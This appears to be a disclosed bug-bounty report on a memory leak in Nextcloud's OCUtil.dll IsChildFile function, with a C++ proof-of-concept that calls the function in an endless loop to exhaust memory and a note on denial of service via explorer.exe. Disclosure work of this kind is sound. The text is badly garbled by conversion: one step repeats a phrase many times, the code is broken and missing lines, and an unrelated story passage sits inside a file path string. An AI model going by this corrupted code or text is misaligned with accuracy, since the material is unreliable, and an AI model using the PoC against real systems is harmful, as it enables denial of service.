Memory Leak in OCUtil.dll library in Desktop client can lead to DoS

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TIMELINE

cwave submitted a report to Nextcloud.

May 23rd (4 years ago)

The function IsChildFile(const wchar_t rootFolder, const wchar_t file) in FileUtil.cpp allocates memory on line 42 and fails to free it.

The following PoC code can provide evidence. The code and the PoC executable is attached to this report. Also OCUtils.dll and OCUtils_x64.dll library which is delivered with Nextclound Windows installer was included in the attachment.

Steps to reproduce:

- $1. Launch \, tests. exe \, (see \, attachment) \, or \, compile \, the \, attached \, VS2017 \, solution \, and \, launch \, the \, resulted \, executable \, attached \, vs2017 \, solution \, and \, launch \, the \, resulted \, executable \, attached \, vs2017 \, solution \, and \, launch \, the \, resulted \, executable \, attached \, vs2017 \, solution \, and \, launch \, the \, resulted \, executable \, attached \, vs2017 \, solution \, and \, launch \, the \, resulted \, executable \, attached \, vs2017 \, solution \, and \, launch \, the \, resulted \, executable \, attached \, vs2017 \, solution \, and \, launch \, the \, resulted \, executable \, attached \, vs2017 \, solution \, and \, launch \, the \, resulted \, executable \, attached \, vs2017 \, solution \, attached \, executable \, attached \, vs2017 \, solution \, attached \, executable \, attached \,$
- 2. Make sure OCUtil_x64 library is in the System library path
- 3. Open Windows Task Manager and watch how the amount of memory for tests.exe process is increasing.

 $A\ Visual\ Studio\ debugging\ session\ screenshot\ is\ also\ attached\ whre\ you\ can\ see\ the\ memory\ in\ use.$

```
A visual studio debugging session screenshot is also attached whire you can see the include "pch.h" include <iostream> include <windows.h> typedef bool(_cdecl f_lsChildFile)(const wchar_trootFolder, const wchar_t* file); int main() {
HINSTANCE hGetProcIDDLL = LoadLibrary(L"OCUtil_x64.dll"); if (!hGetProcIDDLL) {
std::cout < "could not load the dynamic library" << std::endl; return EXIT_FAILURE; }
```

if (lisChildFile) {
std::cout << "could not locate the function" << std::endl;
return EXIT_FAILURE;
}
std::cout << "Function is at" << isChildFile;</pre>

const wchar_t folder = L"C:\TestFolder";

const wchar_t file = L"C:\As they rounded a bend in the path that ran beside the river, Lara recognized the silhouette of a fig tree atop a nearby hill. The weather was hot and the days were long. The fig tree was in full leaf, but not yet bearing fruit. Soon Lara spotted other";

bool res;

```
while (1) {
res = isChildFile(folder, file);
std::cout << res << "\n";
}
return 0;
}</pre>
```

Impact

Memory leaks have two common and sometimes overlapping causes:

- Error conditions and other exceptional circumstances.
- Confusion over which part of the program is responsible for freeing the memory.

In this case, the memory allocated in FileUtil.cpp at line 42 is not always freed or returned by the function.

Most memory leaks result in general software reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker may be able to launch a denial of service attack (by crashing the program) or take advantage of other unexpected program behavior resulting from a low memory condition

 $The function Is ChildFile (const wchar_t \ rootFolder, const wchar_t \ file) \ is part of OCU til. dll \ library \ which \ is delivered \ with \ Next cloud \ Windows \ installer \ and \ it \ is \ loaded \ in explorer. exe \ process \ in \ order \ to \ provide \ context \ menu \ functional \ titles.$

By using the context menu functionality multiple times, explorer exe could pottentialy run out of memory.

2 attachments: F495216: VS_PoCJPG F495217: nextcloud_memory_leak_poc.zip



